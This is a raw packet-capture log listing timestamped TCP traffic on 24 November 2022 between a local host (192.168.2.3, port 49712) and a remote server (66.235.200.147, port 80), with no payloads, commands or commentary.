Nov 24, 2022 16:57:33.384531021 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.384546995 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.384581089 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.384591103 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.384613037 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.384645939 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.384654045 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.384691000 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.384725094 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.384732008 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.385727882 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.385762930 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.385793924 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.385796070 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.385843992 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.385864973 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.385876894 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.385910988 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.385919094 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.385942936 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.385977030 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.385987043 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.386313915 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.386348963 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.386362076 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.386379957 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.386413097 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.386421919 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.386445045 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.386477947 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.386487007 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.386509895 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.386543036 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.386550903 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.389239073 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.389276028 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.389307022 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.389313936 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.389339924 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.389349937 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.391057968 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.393212080 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.393248081 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.393279076 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.393280029 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.393315077 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.393327951 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.393347979 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.393379927 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.393384933 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.393405914 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.393455982 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.393670082 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.393704891 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.393738031 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.393748045 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.393769979 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.393805027 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.393809080 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.393837929 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.393872023 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.393881083 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.393904924 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.393945932 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.394804955 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.394850969 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.394911051 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.394915104 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.394958019 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.394999027 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.395032883 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.395039082 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.395080090 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.395081043 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.395123959 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.395170927 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.395289898 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.395332098 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.395371914 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.395379066 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.395414114 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.395454884 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.395463943 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.395498037 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.395539999 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.395544052 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.395584106 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.395632029 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.396114111 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.396157980 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.396203041 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.396231890 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.396244049 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.396289110 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.396291018 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.396369934 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.396409988 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.396414995 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.396450996 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.396497011 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.397252083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.397294998 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.397335052 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.397352934 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.397377014 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.397419930 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.397420883 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.397460938 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.397502899 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.397505999 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.397543907 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.397586107 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.398310900 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.398353100 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.398395061 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.398411036 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.398437023 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.398478985 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.398479939 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.398519993 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.398559093 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.398570061 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.398602009 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.398653984 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.398736954 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.398778915 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.398823023 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.398827076 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.398863077 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.398906946 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.398921013 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.398962021 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.399002075 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.399007082 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.399043083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.399087906 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.399727106 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.399770975 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.399813890 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.399827003 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.399857998 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.399898052 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.399904966 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.399940968 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.399981976 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.399985075 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.400022984 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.400067091 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.400453091 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.400496960 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.400551081 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.400652885 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.400695086 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.400737047 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.400743008 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.400779963 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.400826931 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.400829077 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.400868893 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.400911093 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.400912046 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.400952101 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.400993109 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.400998116 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.401036024 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.401087046 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.401607990 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.401654005 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.401696920 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.401705027 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.401738882 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.401782036 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.401786089 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.401832104 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.401873112 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.401878119 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.401913881 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.401957035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.401963949 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.401998997 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.402044058 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.402512074 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.402556896 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.402601004 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.402607918 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.402642012 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.402684927 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.402688026 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.402726889 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.402767897 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.402770996 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.402808905 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.402851105 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.402853012 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.402915955 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.402980089 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.403268099 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.403312922 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.403362989 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.403371096 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.403414965 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.403458118 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.403460979 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.403497934 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.403541088 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.403544903 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.403580904 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.403621912 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.403624058 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.403662920 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.403704882 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.403748035 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.403752089 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.403801918 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.404181004 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.404223919 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.404259920 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.404278040 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.404287100 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.404314995 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.404329062 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.404341936 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.404380083 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.404381037 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.404406071 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.404447079 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.404827118 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.404854059 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.404885054 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.404906988 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.404912949 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.404941082 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.404962063 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.404968023 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.404994965 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405010939 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.405021906 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405049086 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405070066 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.405076027 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405105114 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405117989 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.405132055 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405178070 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.405697107 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405726910 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405754089 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405774117 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.405781984 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405812979 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405833960 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.405841112 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405868053 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405890942 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.405894041 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405920982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405941010 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.405949116 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405976057 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.405994892 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.406003952 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.406049967 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.406622887 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.406651974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.406678915 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.406702995 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.406708956 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.406738997 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.406750917 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.406774998 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.406805038 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.406820059 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.406832933 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.406860113 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.406891108 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.406903028 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.406930923 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.406956911 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.406958103 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.407004118 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.407490969 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.407520056 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.407546997 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.407571077 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.407574892 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.407629013 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.407635927 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.407656908 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.407685041 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.407707930 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.407711029 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.407737970 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.407766104 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.407766104 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.407794952 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.407815933 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.407824993 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.407851934 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.407865047 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.408399105 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.408427954 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.408452988 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.408454895 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.408483982 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.408504963 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.408512115 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.408539057 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.408555984 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.408565998 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.408595085 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.408615112 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.408622026 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.408649921 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.408691883 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.408720970 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.408747911 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.408869982 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.408870935 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.409463882 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.409495115 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.409523964 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.409552097 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.409550905 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.409579992 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.409595013 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.409609079 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.409636974 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.409655094 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.409663916 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.409693003 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.409710884 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.409719944 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.409760952 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.409769058 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.409796953 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.409845114 CET	49712	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:33.409970999 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410000086 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410027027 CET	80	49712	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:33.410053015 CET	49712	80	192.168.2.3	66.235.200.147
